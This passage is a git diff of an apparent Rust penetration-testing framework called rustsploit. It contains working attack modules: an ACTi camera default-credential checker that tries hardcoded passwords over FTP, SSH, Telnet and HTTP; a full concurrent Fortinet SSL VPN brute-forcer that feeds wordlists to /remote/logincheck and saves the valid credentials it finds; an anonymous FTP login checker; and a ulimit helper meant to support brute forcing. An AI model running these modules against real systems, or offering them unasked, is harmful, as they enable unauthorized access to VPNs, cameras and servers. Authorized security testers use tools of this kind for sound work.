if limit == 0 {
return Err(anyhow!("IP limit must be greater than 0"));
}
if limit > MAX_IP_LIMIT {
return Err(anyhow!(
"IP limit too high (max {})",
MAX_IP_LIMIT
));
}
Ok(limit)
}
#[tokio::main]
async fn main() -> Result<()> {
// Parse command-line arguments
let cli_args = cli::Cli::parse();
// Check if API mode is requested
if cli_args.api {
let api_key_raw = cli_args
.api_key
.context("--api-key is required when using --api mode")?;
// Validate API key
let api_key = validate_api_key(&api_key_raw)
.context("Invalid API key")?;
let interface = cli_args.interface.unwrap_or_else(|| "0.0.0.0".to_string());
// Validate and normalize bind address
let bind_address = validate_bind_address(&interface)
.context("Invalid bind address")?;
let harden = cli_args.harden;
// Validate IP limit
let ip_limit_raw = cli_args.ip_limit.unwrap_or(10);
let ip_limit = validate_ip_limit(ip_limit_raw)
.context("Invalid IP limit")?;
api::start_api_server(&bind_address, api_key, harden, ip_limit).await?;
return Ok(());
}
// Set global target if provided
if let Some(ref target) = cli_args.set_target {
// Target validation is done in config::set_target
config::GLOBAL_CONFIG.set_target(target)?;
println!("✓ Global target set to: {}", target);
}
// If user provided subcommands (e.g., "exploit", "scan", etc.) from CLI, handle them directly:
if let Some(cmd) = &cli_args.command {
commands::handle_command(cmd, &cli_args).await?;
@@ -1,21 +1,12 @@
use anyhow::{Context, Result};
use async_ftp::FtpStream;
use colored::*;
use reqwest::Client;
use ssh2::Session;
use telnet::{Telnet, Event};
use std::{net::TcpStream, time::Duration};
use tokio::{join, task};
const DEFAULT_TIMEOUT_SECS: u64 = 10;
fn display_banner() {
println!("{}", "╔═══════════════════════════════════════════════════════════╗".cyan());
println!("{}", "║ ACTi Camera Default Credentials Checker ║".cyan());
println!("{}", "║ Multi-Protocol Scanner (FTP/SSH/Telnet/HTTP) ║".cyan());
println!("{}", "╚═══════════════════════════════════════════════════════════╝".cyan());
println!();
}
#[allow(dead_code)]
/// Supported Acti services
@@ -48,18 +39,18 @@ fn normalize_target(target: &str, port: u16) -> String {
/// FTP check (async)
pub async fn check_ftp(config: &Config) -> Result<()> {
println!("{}", format!("[*] Checking FTP credentials on {}:{}", config.target, config.port).cyan());
println!("[*] Checking FTP credentials on {}:{}", config.target, config.port);
for (username, password) in &config.credentials {
if config.verbosity {
println!("{}", format!("[*] Trying FTP: {}:{}", username, password).dimmed());
println!("[*] Trying FTP: {}:{}", username, password);
}
let address = normalize_target(&config.target, config.port);
match FtpStream::connect(address).await {
Ok(mut ftp) => {
if ftp.login(username, password).await.is_ok() {
println!("{}", format!("[+] FTP credentials valid: {}:{}", username, password).green().bold());
println!("[+] FTP credentials valid: {}:{}", username, password);
if config.stop_on_success {
return Ok(());
}
@@ -70,17 +61,17 @@ pub async fn check_ftp(config: &Config) -> Result<()> {
}
}
println!("{}", format!("[-] No valid FTP credentials found on {}:{}", config.target, config.port).yellow());
println!("[-] No valid FTP credentials found on {}:{}", config.target, config.port);
Ok(())
}
/// SSH check (blocking, so we use spawn_blocking)
pub fn check_ssh_blocking(config: &Config) -> Result<()> {
println!("{}", format!("[*] Checking SSH credentials on {}:{}", config.target, config.port).cyan());
println!("[*] Checking SSH credentials on {}:{}", config.target, config.port);
for (username, password) in &config.credentials {
if config.verbosity {
println!("{}", format!("[*] Trying SSH: {}:{}", username, password).dimmed());
println!("[*] Trying SSH: {}:{}", username, password);
}
let address = normalize_target(&config.target, config.port);
@@ -90,7 +81,7 @@ pub fn check_ssh_blocking(config: &Config) -> Result<()> {
session.handshake().context("SSH handshake failed")?;
if session.userauth_password(username, password).is_ok() && session.authenticated() {
println!("{}", format!("[+] SSH credentials valid: {}:{}", username, password).green().bold());
println!("[+] SSH credentials valid: {}:{}", username, password);
if config.stop_on_success {
return Ok(());
}
@@ -98,17 +89,17 @@ pub fn check_ssh_blocking(config: &Config) -> Result<()> {
}
}
println!("{}", format!("[-] No valid SSH credentials found on {}:{}", config.target, config.port).yellow());
println!("[-] No valid SSH credentials found on {}:{}", config.target, config.port);
Ok(())
}
/// Telnet check (blocking)
pub fn check_telnet_blocking(config: &Config) -> Result<()> {
println!("{}", format!("[*] Checking Telnet credentials on {}:{}", config.target, config.port).cyan());
println!("[*] Checking Telnet credentials on {}:{}", config.target, config.port);
for (username, password) in &config.credentials {
if config.verbosity {
println!("{}", format!("[*] Trying Telnet: {}:{}", username, password).dimmed());
println!("[*] Trying Telnet: {}:{}", username, password);
}
let address = normalize_target(&config.target, config.port);
@@ -129,7 +120,7 @@ pub fn check_telnet_blocking(config: &Config) -> Result<()> {
if let Ok(Event::Data(buffer)) = telnet.read_timeout(Duration::from_millis(800)) {
let response = String::from_utf8_lossy(&buffer);
if !response.contains("incorrect") && !response.contains("failed") {
println!("{}", format!("[+] Telnet credentials valid: {}:{}", username, password).green().bold());
println!("[+] Telnet credentials valid: {}:{}", username, password);
if config.stop_on_success {
return Ok(());
}
@@ -138,24 +129,24 @@ pub fn check_telnet_blocking(config: &Config) -> Result<()> {
}
}
println!("{}", format!("[-] No valid Telnet credentials found on {}:{}", config.target, config.port).yellow());
println!("[-] No valid Telnet credentials found on {}:{}", config.target, config.port);
Ok(())
}
/// HTTP Web Login check (async)
pub async fn check_http_form(config: &Config) -> Result<()> {
println!("{}", format!("[*] Checking HTTP Web Form credentials on {}:{}", config.target, config.port).cyan());
println!("[*] Checking HTTP Web Form credentials on {}:{}", config.target, config.port);
let client = Client::builder()
.danger_accept_invalid_certs(true)
.timeout(Duration::from_secs(DEFAULT_TIMEOUT_SECS))
.timeout(Duration::from_secs(5))
.build()?;
let url = format!("http://{}:{}/video.htm", config.target.trim_matches(|c| c == '[' || c == ']'), config.port);
for (username, password) in &config.credentials {
if config.verbosity {
println!("{}", format!("[*] Trying HTTP: {}:{}", username, password).dimmed());
println!("[*] Trying HTTP: {}:{}", username, password);
}
let data = [
@@ -175,23 +166,19 @@ pub async fn check_http_form(config: &Config) -> Result<()> {
let body = res.text().await.unwrap_or_default();
if !body.contains(">Password<") {
println!("{}", format!("[+] HTTP credentials valid: {}:{}", username, password).green().bold());
println!("[+] HTTP credentials valid: {}:{}", username, password);
if config.stop_on_success {
return Ok(());
}
}
}
println!("{}", format!("[-] No valid HTTP credentials found on {}:{}", config.target, config.port).yellow());
println!("[-] No valid HTTP credentials found on {}:{}", config.target, config.port);
Ok(())
}
/// Entrypoint for module - parallel checks
pub async fn run(target: &str) -> Result<()> {
display_banner();
println!("{}", format!("[*] Target: {}", target).cyan());
println!();
let creds = vec![
("admin", "12345"),
("admin", "123456"),
+28 -122
View File
@@ -1,135 +1,41 @@
use anyhow::{Result, anyhow};
use colored::*;
use libc::{rlimit, setrlimit, getrlimit, RLIMIT_NOFILE};
const TARGET_FILE_LIMIT: u64 = 65535;
fn display_banner() {
println!("{}", "╔═══════════════════════════════════════════════════════════╗".cyan());
println!("{}", "║ System Ulimit Configuration Utility ║".cyan());
println!("{}", "║ Raises file descriptor limits for brute forcing ║".cyan());
println!("{}", "╚═══════════════════════════════════════════════════════════╝".cyan());
println!();
}
use std::process::Command;
/// Module entry point for raising ulimit
pub async fn run(_target: &str) -> Result<()> {
raise_ulimit().await
}
/// Get current resource limits
fn get_current_limits() -> Result<(u64, u64)> {
let mut rlim = rlimit {
rlim_cur: 0,
rlim_max: 0,
};
let result = unsafe { getrlimit(RLIMIT_NOFILE, &mut rlim) };
if result != 0 {
return Err(anyhow!("Failed to get current limits: {}", std::io::Error::last_os_error()));
}
Ok((rlim.rlim_cur, rlim.rlim_max))
}
/// Set resource limits directly in the current process
fn set_file_limit(soft: u64, hard: u64) -> Result<()> {
let rlim = rlimit {
rlim_cur: soft,
rlim_max: hard,
};
let result = unsafe { setrlimit(RLIMIT_NOFILE, &rlim) };
if result != 0 {
return Err(anyhow!("Failed to set limits: {}", std::io::Error::last_os_error()));
}
Ok(())
}
/// Raise ulimit to 65535 using setrlimit syscall (actually works for current process)
/// Raise ulimit to 65535
async fn raise_ulimit() -> Result<()> {
display_banner();
// Get current limits
let (current_soft, current_hard) = match get_current_limits() {
Ok(limits) => limits,
Err(e) => {
println!("{}", format!("[-] Failed to get current limits: {}", e).red());
(0, 0)
}
};
println!("{}", format!("[*] Current limits - Soft: {}, Hard: {}", current_soft, current_hard).cyan());
if current_soft >= TARGET_FILE_LIMIT {
println!("{}", format!("[+] Open file limit already at {} or higher.", current_soft).green().bold());
return Ok(());
}
println!("{}", format!("[*] Attempting to raise open file limit to {}", TARGET_FILE_LIMIT).cyan());
// Determine the target limits
let target_hard = if current_hard >= TARGET_FILE_LIMIT {
current_hard
println!("[*] Attempting to raise open file limit (ulimit -n 65535)");
// Try to set limit using bash
let output = Command::new("bash")
.arg("-c")
.arg("ulimit -n 65535")
.output()
.map_err(|e| anyhow!("Failed to run bash: {}", e))?;
if !output.status.success() {
println!("[-] Warning: Could not change ulimit. (maybe run as root?)");
} else {
TARGET_FILE_LIMIT
};
let target_soft = TARGET_FILE_LIMIT.min(target_hard);
// Try to set the limit using setrlimit syscall (works for current process)
match set_file_limit(target_soft, target_hard) {
Ok(()) => {
println!("{}", format!("[+] Successfully set file limit to {}", target_soft).green().bold());
}
Err(e) => {
// If we can't raise hard limit, try just raising soft to current hard
println!("{}", format!("[-] Could not set to {}: {}", TARGET_FILE_LIMIT, e).yellow());
if current_hard > current_soft {
println!("{}", format!("[*] Trying to raise soft limit to hard limit ({})...", current_hard).cyan());
match set_file_limit(current_hard, current_hard) {
Ok(()) => {
println!("{}", format!("[+] Raised soft limit to {}", current_hard).green());
}
Err(e2) => {
println!("{}", format!("[-] Could not raise soft limit: {}", e2).red());
println!("{}", "[!] Try running as root or adjust /etc/security/limits.conf".yellow());
}
}
} else {
println!("{}", "[!] Hard limit is the same as soft limit.".yellow());
println!("{}", "[!] To increase further, run as root or edit /etc/security/limits.conf".yellow());
}
}
println!("[+] Successfully ran ulimit -n 65535.");
}
// Verify the new limits
match get_current_limits() {
Ok((new_soft, new_hard)) => {
println!("{}", format!("[*] New limits - Soft: {}, Hard: {}", new_soft, new_hard).cyan());
if new_soft >= TARGET_FILE_LIMIT {
println!("{}", "[+] File descriptor limit successfully raised!".green().bold());
} else if new_soft > current_soft {
println!("{}", format!("[+] Limit raised from {} to {}", current_soft, new_soft).green());
} else {
println!("{}", "[-] Limit unchanged.".yellow());
}
}
Err(e) => {
println!("{}", format!("[-] Could not verify new limits: {}", e).yellow());
}
// Check current limit
let check_output = Command::new("bash")
.arg("-c")
.arg("ulimit -n")
.output()
.map_err(|e| anyhow!("Failed to check ulimit: {}", e))?;
if check_output.status.success() {
let limit = String::from_utf8_lossy(&check_output.stdout);
println!("[+] Current open file limit: {}", limit.trim());
} else {
println!("[-] Warning: Could not verify new ulimit.");
}
// Also show shell instructions for reference
println!();
println!("{}", "=== Shell Instructions ===".bold());
println!("{}", "To raise limits in your shell before running rustsploit:".dimmed());
println!("{}", " ulimit -n 65535".white());
println!("{}", "Or to make permanent, add to /etc/security/limits.conf:".dimmed());
println!("{}", " * soft nofile 65535".white());
println!("{}", " * hard nofile 65535".white());
Ok(())
}
@@ -1,625 +0,0 @@
use anyhow::{anyhow, Result};
use colored::*;
use futures::stream::{FuturesUnordered, StreamExt};
use reqwest::{ClientBuilder, redirect::Policy};
use std::{
fs::File,
io::{BufRead, BufReader, Write},
path::{Path, PathBuf},
sync::Arc,
sync::atomic::{AtomicBool, AtomicU64, Ordering},
time::Instant,
};
use tokio::{
sync::{Mutex, Semaphore},
time::{sleep, Duration, timeout},
};
use regex::Regex;
const PROGRESS_INTERVAL_SECS: u64 = 2;
struct Statistics {
total_attempts: AtomicU64,
successful_attempts: AtomicU64,
failed_attempts: AtomicU64,
error_attempts: AtomicU64,
start_time: Instant,
}
impl Statistics {
fn new() -> Self {
Self {
total_attempts: AtomicU64::new(0),
successful_attempts: AtomicU64::new(0),
failed_attempts: AtomicU64::new(0),
error_attempts: AtomicU64::new(0),
start_time: Instant::now(),
}
}
fn record_attempt(&self, success: bool, error: bool) {
self.total_attempts.fetch_add(1, Ordering::Relaxed);
if error {
self.error_attempts.fetch_add(1, Ordering::Relaxed);
} else if success {
self.successful_attempts.fetch_add(1, Ordering::Relaxed);
} else {
self.failed_attempts.fetch_add(1, Ordering::Relaxed);
}
}
fn print_progress(&self) {
let total = self.total_attempts.load(Ordering::Relaxed);
let success = self.successful_attempts.load(Ordering::Relaxed);
let failed = self.failed_attempts.load(Ordering::Relaxed);
let errors = self.error_attempts.load(Ordering::Relaxed);
let elapsed = self.start_time.elapsed().as_secs_f64();
let rate = if elapsed > 0.0 { total as f64 / elapsed } else { 0.0 };
print!(
"\r{} {} attempts | {} OK | {} fail | {} err | {:.1}/s ",
"[Progress]".cyan(),
total.to_string().bold(),
success.to_string().green(),
failed,
errors.to_string().red(),
rate
);
let _ = std::io::stdout().flush();
}
fn print_final(&self) {
println!();
let total = self.total_attempts.load(Ordering::Relaxed);
let success = self.successful_attempts.load(Ordering::Relaxed);
let failed = self.failed_attempts.load(Ordering::Relaxed);
let errors = self.error_attempts.load(Ordering::Relaxed);
let elapsed = self.start_time.elapsed().as_secs_f64();
println!("{}", "=== Statistics ===".bold());
println!(" Total attempts: {}", total);
println!(" Successful: {}", success.to_string().green().bold());
println!(" Failed: {}", failed);
println!(" Errors: {}", errors.to_string().red());
println!(" Elapsed time: {:.2}s", elapsed);
if elapsed > 0.0 {
println!(" Average rate: {:.1} attempts/s", total as f64 / elapsed);
}
}
}
fn display_banner() {
println!("{}", "╔═══════════════════════════════════════════════════════════╗".cyan());
println!("{}", "║ Fortinet SSL VPN Brute Force Module ║".cyan());
println!("{}", "║ FortiGate Web Login Credential Testing ║".cyan());
println!("{}", "╚═══════════════════════════════════════════════════════════╝".cyan());
println!();
}
pub async fn run(target: &str) -> Result<()> {
display_banner();
println!("{}", format!("[*] Target: {}", target).cyan());
let port: u16 = loop {
let input = prompt_default("Fortinet VPN Port", "443")?;
match input.trim().parse::<u16>() {
Ok(p) if p > 0 => break p,
Ok(_) => println!("{}", "Port must be between 1 and 65535.".yellow()),
Err(_) => println!("{}", "Invalid port number. Please enter a number between 1 and 65535.".yellow()),
}
};
let usernames_file_path = loop {
let input = prompt_required("Username wordlist path")?;
let path = Path::new(&input);
if !path.exists() {
println!("{}", format!("File '{}' does not exist.", input).yellow());
continue;
}
if !path.is_file() {
println!("{}", format!("'{}' is not a regular file.", input).yellow());
continue;
}
match File::open(path) {
Ok(_) => break input,
Err(e) => {
println!("{}", format!("Cannot read file '{}': {}", input, e).yellow());
continue;
}
}
};
let passwords_file_path = loop {
let input = prompt_required("Password wordlist path")?;
let path = Path::new(&input);
if !path.exists() {
println!("{}", format!("File '{}' does not exist.", input).yellow());
continue;
}
if !path.is_file() {
println!("{}", format!("'{}' is not a regular file.", input).yellow());
continue;
}
match File::open(path) {
Ok(_) => break input,
Err(e) => {
println!("{}", format!("Cannot read file '{}': {}", input, e).yellow());
continue;
}
}
};
let concurrency: usize = loop {
let input = prompt_default("Max concurrent tasks", "10")?;
match input.trim().parse::<usize>() {
Ok(n) if n > 0 && n <= 10000 => break n,
Ok(n) if n == 0 => println!("{}", "Concurrency must be greater than 0.".yellow()),
Ok(_) => println!("{}", "Concurrency must be between 1 and 10000.".yellow()),
Err(_) => println!("{}", "Invalid number. Please enter a positive integer.".yellow()),
}
};
let timeout_secs: u64 = loop {
let input = prompt_default("Connection timeout (seconds)", "10")?;
match input.trim().parse::<u64>() {
Ok(n) if n > 0 && n <= 300 => break n,
Ok(n) if n == 0 => println!("{}", "Timeout must be greater than 0.".yellow()),
Ok(_) => println!("{}", "Timeout must be between 1 and 300 seconds.".yellow()),
Err(_) => println!("{}", "Invalid timeout. Please enter a number between 1 and 300.".yellow()),
}
};
let stop_on_success = prompt_yes_no("Stop on first success?", true)?;
let save_results = prompt_yes_no("Save results to file?", true)?;
let save_path = if save_results {
Some(prompt_default("Output file name", "fortinet_results.txt")?)
} else {
None
};
let verbose = prompt_yes_no("Verbose mode?", false)?;
let combo_mode = prompt_yes_no("Combination mode? (try every password with every user)", false)?;
let trusted_cert = prompt_optional("Trusted certificate SHA256 (optional, for certificate pinning)")?;
let realm = prompt_optional("Authentication realm (optional)")?;
let base_url = build_fortinet_url(target, port)?;
let found_credentials = Arc::new(Mutex::new(Vec::new()));
let stop_signal = Arc::new(AtomicBool::new(false));
let stats = Arc::new(Statistics::new());
println!("\n[*] Starting brute-force on {}", base_url);
println!("[*] Timeout: {} seconds", timeout_secs);
let users = load_lines(&usernames_file_path)?;
if users.is_empty() {
println!("[!] Username wordlist is empty or invalid. Exiting.");
return Ok(());
}
println!("[*] Loaded {} usernames", users.len());
let passwords = load_lines(&passwords_file_path)?;
if passwords.is_empty() {
println!("[!] Password wordlist is empty or invalid. Exiting.");
return Ok(());
}
println!("[*] Loaded {} passwords", passwords.len());
let semaphore = Arc::new(Semaphore::new(concurrency));
let timeout_duration = Duration::from_secs(timeout_secs);
// Generate all credential pairs based on mode
let credential_pairs = if combo_mode {
let mut pairs = Vec::new();
for user in &users {
for pass in &passwords {
pairs.push((user.clone(), pass.clone()));
}
}
pairs
} else {
// Cycle through users for each password
passwords.iter().enumerate()
.map(|(i, pass)| {
let user = users[i % users.len()].clone();
(user, pass.clone())
})
.collect()
};
println!("[*] Testing {} credential combinations", credential_pairs.len());
println!();
// Start progress reporter
let stats_clone = stats.clone();
let stop_clone = stop_signal.clone();
let progress_handle = tokio::spawn(async move {
loop {
if stop_clone.load(Ordering::Relaxed) {
break;
}
stats_clone.print_progress();
sleep(Duration::from_secs(PROGRESS_INTERVAL_SECS)).await;
}
});
let mut tasks = FuturesUnordered::new();
for (user, pass) in credential_pairs {
if stop_on_success && stop_signal.load(Ordering::Relaxed) {
break;
}
let base_url_clone = base_url.clone();
let realm_clone = realm.clone();
let trusted_cert_clone = trusted_cert.clone();
let found_credentials_clone = Arc::clone(&found_credentials);
let stop_signal_clone = Arc::clone(&stop_signal);
let semaphore_clone = Arc::clone(&semaphore);
let stats_clone = Arc::clone(&stats);
let verbose_flag = verbose;
let stop_on_success_flag = stop_on_success;
tasks.push(tokio::spawn(async move {
if stop_on_success_flag && stop_signal_clone.load(Ordering::Relaxed) {
return;
}
let _permit = match semaphore_clone.acquire_owned().await {
Ok(permit) => permit,
Err(_) => return,
};
if stop_on_success_flag && stop_signal_clone.load(Ordering::Relaxed) {
return;
}
match try_fortinet_login(
&base_url_clone,
&user,
&pass,
&realm_clone,
&trusted_cert_clone,
timeout_duration
).await {
Ok(true) => {
println!("\r{}", format!("[+] {} -> {}:{}", base_url_clone, user, pass).green().bold());
let mut found = found_credentials_clone.lock().await;
found.push((base_url_clone.clone(), user.clone(), pass.clone()));
stats_clone.record_attempt(true, false);
if stop_on_success_flag {
stop_signal_clone.store(true, Ordering::Relaxed);
}
}
Ok(false) => {
stats_clone.record_attempt(false, false);
if verbose_flag {
println!("\r{}", format!("[-] {} -> {}:{}", base_url_clone, user, pass).dimmed());
}
}
Err(e) => {
stats_clone.record_attempt(false, true);
if verbose_flag {
println!("\r{}", format!("[!] {}: error: {}", base_url_clone, e).red());
}
}
}
sleep(Duration::from_millis(100)).await;
}));
}
// Wait for all tasks to complete
while let Some(res) = tasks.next().await {
if let Err(e) = res {
if verbose {
println!("\r{}", format!("[!] Task join error: {}", e).red());
}
}
}
// Stop progress reporter
stop_signal.store(true, Ordering::Relaxed);
let _ = progress_handle.await;
// Print final statistics
stats.print_final();
let creds = found_credentials.lock().await;
if creds.is_empty() {
println!("{}", "[-] No credentials found.".yellow());
} else {
println!("{}", format!("[+] Found {} valid credential(s):", creds.len()).green().bold());
for (url, user, pass) in creds.iter() {
println!(" {} -> {}:{}", url, user, pass);
}
if let Some(path_str) = save_path {
let filename = get_filename_in_current_dir(&path_str);
match File::create(&filename) {
Ok(mut file) => {
for (url, user, pass) in creds.iter() {
if writeln!(file, "{} -> {}:{}", url, user, pass).is_err() {
eprintln!("[!] Error writing to result file: {}", filename.display());
break;
}
}
println!("[+] Results saved to '{}'", filename.display());
}
Err(e) => {
eprintln!("[!] Could not create output file '{}': {}", filename.display(), e);
}
}
}
}
Ok(())
}
async fn try_fortinet_login(
base_url: &str,
username: &str,
password: &str,
realm: &Option<String>,
trusted_cert: &Option<String>,
timeout_duration: Duration
) -> Result<bool> {
let mut client_builder = ClientBuilder::new()
.cookie_store(true)
.redirect(Policy::none())
.timeout(timeout_duration);
if trusted_cert.is_some() {
client_builder = client_builder
.danger_accept_invalid_certs(false)
.danger_accept_invalid_hostnames(false);
} else {
client_builder = client_builder
.danger_accept_invalid_certs(true)
.danger_accept_invalid_hostnames(true);
}
let client = client_builder
.build()
.map_err(|e| anyhow!("Failed to create HTTP client: {}", e))?;
// Get login page
let login_page_url = format!("{}/remote/login", base_url);
let login_page_response = match timeout(timeout_duration, client.get(&login_page_url).send()).await {
Ok(Ok(resp)) => resp,
Ok(Err(e)) => return Err(anyhow!("Failed to get login page: {}", e)),
Err(_) => return Err(anyhow!("Timeout getting login page")),
};
let login_page_body = match timeout(timeout_duration, login_page_response.text()).await {
Ok(Ok(body)) => body,
Ok(Err(e)) => return Err(anyhow!("Failed to read login page: {}", e)),
Err(_) => return Err(anyhow!("Timeout reading login page")),
};
let csrf_token = extract_csrf_token(&login_page_body);
// Prepare login form data
let mut form_data = std::collections::HashMap::new();
form_data.insert("username", username.to_string());
form_data.insert("password", password.to_string());
form_data.insert("ajax", "1".to_string());
if let Some(r) = realm {
if !r.is_empty() {
form_data.insert("realm", r.clone());
}
}
if let Some(token) = csrf_token {
form_data.insert("magic", token.clone());
}
// Send login request
let login_url = format!("{}/remote/logincheck", base_url);
let login_response = match timeout(
timeout_duration,
client
.post(&login_url)
.form(&form_data)
.header("User-Agent", "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36")
.header("Referer", &login_page_url)
.send()
).await {
Ok(Ok(resp)) => resp,
Ok(Err(e)) => return Err(anyhow!("Login request failed: {}", e)),
Err(_) => return Err(anyhow!("Timeout during login request")),
};
let status = login_response.status();
let location_header = login_response.headers().get("Location")
.and_then(|h| h.to_str().ok())
.map(|s| s.to_string());
let cookies: Vec<String> = login_response.cookies()
.map(|c| c.name().to_string())
.collect();
let has_auth_cookie = cookies.iter().any(|name| {
let lower = name.to_lowercase();
lower.contains("session") || lower.contains("svpn") || lower.contains("fortinet")
});
let response_body = match timeout(timeout_duration, login_response.text()).await {
Ok(Ok(body)) => body,
Ok(Err(e)) => return Err(anyhow!("Failed to read login response: {}", e)),
Err(_) => return Err(anyhow!("Timeout reading login response")),
};
// Check for success indicators
if response_body.contains("redir")
|| response_body.contains("\"1\"")
|| response_body.contains("success")
|| response_body.contains("/remote/index")
|| response_body.contains("portal")
{
return Ok(true);
}
// Check for failure indicators
if response_body.contains("error")
|| response_body.contains("invalid")
|| response_body.contains("failed")
|| response_body.contains("incorrect")
|| response_body.contains("\"0\"")
{
return Ok(false);
}
// Check status and cookies
if status.is_success() && has_auth_cookie {
return Ok(true);
}
// Check redirect location
if status.as_u16() == 302 {
if let Some(loc_str) = location_header {
if loc_str.contains("/remote/index")
|| loc_str.contains("portal")
|| loc_str.contains("index")
{
return Ok(true);
}
}
}
Ok(false)
}
/// Extracts CSRF token from HTML response
fn extract_csrf_token(html: &str) -> Option<String> {
let patterns = vec![
r#"name="magic"\s+value="([^"]+)""#,
r#"name="csrf_token"\s+value="([^"]+)""#,
r#""magic"\s*:\s*"([^"]+)""#,
r#"magic=([^&\s"]+)"#,
];
for pattern in patterns {
if let Ok(re) = Regex::new(pattern) {
if let Some(captures) = re.captures(html) {
if let Some(token) = captures.get(1) {
return Some(token.as_str().to_string());
}
}
}
}
None
}
fn prompt_required(msg: &str) -> Result<String> {
loop {
print!("{}", format!("{}: ", msg).cyan().bold());
std::io::stdout().flush().map_err(|e| anyhow!("Failed to flush stdout: {}", e))?;
let mut s = String::new();
std::io::stdin().read_line(&mut s)?;
let trimmed = s.trim();
if !trimmed.is_empty() {
return Ok(trimmed.to_string());
} else {
println!("{}", "This field is required. Please provide a value.".yellow());
}
}
}
fn prompt_default(msg: &str, default_val: &str) -> Result<String> {
print!("{}", format!("{} [{}]: ", msg, default_val).cyan().bold());
std::io::stdout().flush().map_err(|e| anyhow!("Failed to flush stdout: {}", e))?;
let mut s = String::new();
std::io::stdin().read_line(&mut s)?;
let trimmed = s.trim();
Ok(if trimmed.is_empty() {
default_val.to_string()
} else {
trimmed.to_string()
})
}
fn prompt_yes_no(msg: &str, default_yes: bool) -> Result<bool> {
let default_char = if default_yes { "y" } else { "n" };
loop {
print!("{}", format!("{} (y/n) [{}]: ", msg, default_char).cyan().bold());
std::io::stdout().flush().map_err(|e| anyhow!("Failed to flush stdout: {}", e))?;
let mut s = String::new();
std::io::stdin().read_line(&mut s)?;
let input = s.trim().to_lowercase();
if input.is_empty() {
return Ok(default_yes);
} else if input == "y" || input == "yes" {
return Ok(true);
} else if input == "n" || input == "no" {
return Ok(false);
} else {
println!("{}", "Invalid input. Please enter 'y' or 'n'.".yellow());
}
}
}
fn prompt_optional(msg: &str) -> Result<Option<String>> {
print!("{}", format!("{} (optional, press Enter to skip): ", msg).cyan().bold());
std::io::stdout().flush().map_err(|e| anyhow!("Failed to flush stdout: {}", e))?;
let mut s = String::new();
std::io::stdin().read_line(&mut s)?;
let trimmed = s.trim();
Ok(if trimmed.is_empty() {
None
} else {
Some(trimmed.to_string())
})
}
/// Builds Fortinet VPN URL with proper IPv6 handling
fn build_fortinet_url(target: &str, port: u16) -> Result<String> {
let clean_target = target.trim_matches(|c| c == '[' || c == ']');
let is_ipv6 = clean_target.contains(':') && !clean_target.contains('.');
let url = if is_ipv6 {
format!("https://[{}]:{}", clean_target, port)
} else {
format!("https://{}:{}", clean_target, port)
};
Ok(url)
}
fn load_lines<P: AsRef<Path>>(path: P) -> Result<Vec<String>> {
let file = File::open(path.as_ref())
.map_err(|e| anyhow!("Failed to open file '{}': {}", path.as_ref().display(), e))?;
let reader = BufReader::new(file);
Ok(reader
.lines()
.filter_map(Result::ok)
.map(|line| line.trim().to_string())
.filter(|line| !line.is_empty())
.collect())
}
fn get_filename_in_current_dir(input_path_str: &str) -> PathBuf {
let path = Path::new(input_path_str);
let filename_component = path
.file_name()
.map(|os_str| os_str.to_string_lossy())
.unwrap_or_else(|| std::borrow::Cow::Borrowed(input_path_str));
let final_name = if filename_component.is_empty()
|| filename_component == "."
|| filename_component == ".."
|| filename_component.contains('/')
|| filename_component.contains('\\')
{
"fortinet_results.txt"
} else {
filename_component.as_ref()
};
PathBuf::from(format!("./{}", final_name))
}
+10 -27
View File
@@ -1,19 +1,8 @@
use anyhow::{anyhow, Result};
use colored::*;
use suppaftp::{AsyncFtpStream, AsyncNativeTlsFtpStream, AsyncNativeTlsConnector};
use suppaftp::async_native_tls::TlsConnector;
use tokio::time::{timeout, Duration};
const DEFAULT_TIMEOUT_SECS: u64 = 5;
fn display_banner() {
println!("{}", "╔═══════════════════════════════════════════════════════════╗".cyan());
println!("{}", "║ FTP Anonymous Login Checker ║".cyan());
println!("{}", "║ Supports FTP and FTPS (TLS) with IPv4/IPv6 ║".cyan());
println!("{}", "╚═══════════════════════════════════════════════════════════╝".cyan());
println!();
}
/// Format IPv4 or IPv6 addresses with port
fn format_addr(target: &str, port: u16) -> String {
if target.starts_with('[') && target.contains("]:") {
@@ -36,8 +25,6 @@ fn format_addr(target: &str, port: u16) -> String {
/// Anonymous FTP/FTPS login test with IPv6 support
pub async fn run(target: &str) -> Result<()> {
display_banner();
let addr = format_addr(target, 21);
let domain = target
.trim_start_matches('[')
@@ -45,36 +32,32 @@ pub async fn run(target: &str) -> Result<()> {
.next()
.unwrap_or(target);
println!("{}", format!("[*] Target: {}", target).cyan());
println!("{}", format!("[*] Connecting to FTP service on {}...", addr).cyan());
println!();
println!("[*] Connecting to FTP service on {}...", addr);
// 1️⃣ Try plain FTP first
match timeout(Duration::from_secs(DEFAULT_TIMEOUT_SECS), AsyncFtpStream::connect(&addr)).await {
match timeout(Duration::from_secs(5), AsyncFtpStream::connect(&addr)).await {
Ok(Ok(mut ftp)) => {
let result = ftp.login("anonymous", "anonymous").await;
if result.is_ok() {
println!("{}", "[+] Anonymous login successful (FTP)".green().bold());
if let Ok(_) = result {
println!("[+] Anonymous login successful (FTP)");
let _ = ftp.quit().await;
return Ok(());
} else if let Err(e) = result {
if e.to_string().contains("530") {
println!("{}", "[-] Anonymous login rejected (FTP)".yellow());
println!("[-] Anonymous login rejected (FTP)");
return Ok(());
} else if e.to_string().contains("550 SSL") {
println!("{}", "[*] FTP server requires TLS — upgrading to FTPS...".cyan());
println!("[*] FTP server requires TLS — upgrading to FTPS...");
} else {
return Err(anyhow!("FTP error: {}", e));
}
}
}
Ok(Err(e)) => println!("{}", format!("[!] FTP connection error: {}", e).red()),
Err(_) => println!("{}", "[-] FTP connection timed out".yellow()),
Ok(Err(e)) => println!("[!] FTP connection error: {}", e),
Err(_) => println!("[-] FTP connection timed out"),
}
// 2️⃣ Fallback to FTPS
println!("{}", "[*] Attempting FTPS connection...".cyan());
let mut ftps = AsyncNativeTlsFtpStream::connect(&addr)
.await
.map_err(|e| anyhow!("FTPS connect failed: {}", e))?;
@@ -92,11 +75,11 @@ pub async fn run(target: &str) -> Result<()> {
match ftps.login("anonymous", "anonymous").await {
Ok(_) => {
println!("{}", "[+] Anonymous login successful (FTPS)".green().bold());
println!("[+] Anonymous login successful (FTPS)");
let _ = ftps.quit().await;
}
Err(e) if e.to_string().contains("530") => {
println!("{}", "[-] Anonymous login rejected (FTPS)".yellow());
println!("[-] Anonymous login rejected (FTPS)");
}
Err(e) => return Err(anyhow!("FTPS login error: {}", e)),
}
+111 -220
View File
@@ -1,98 +1,50 @@
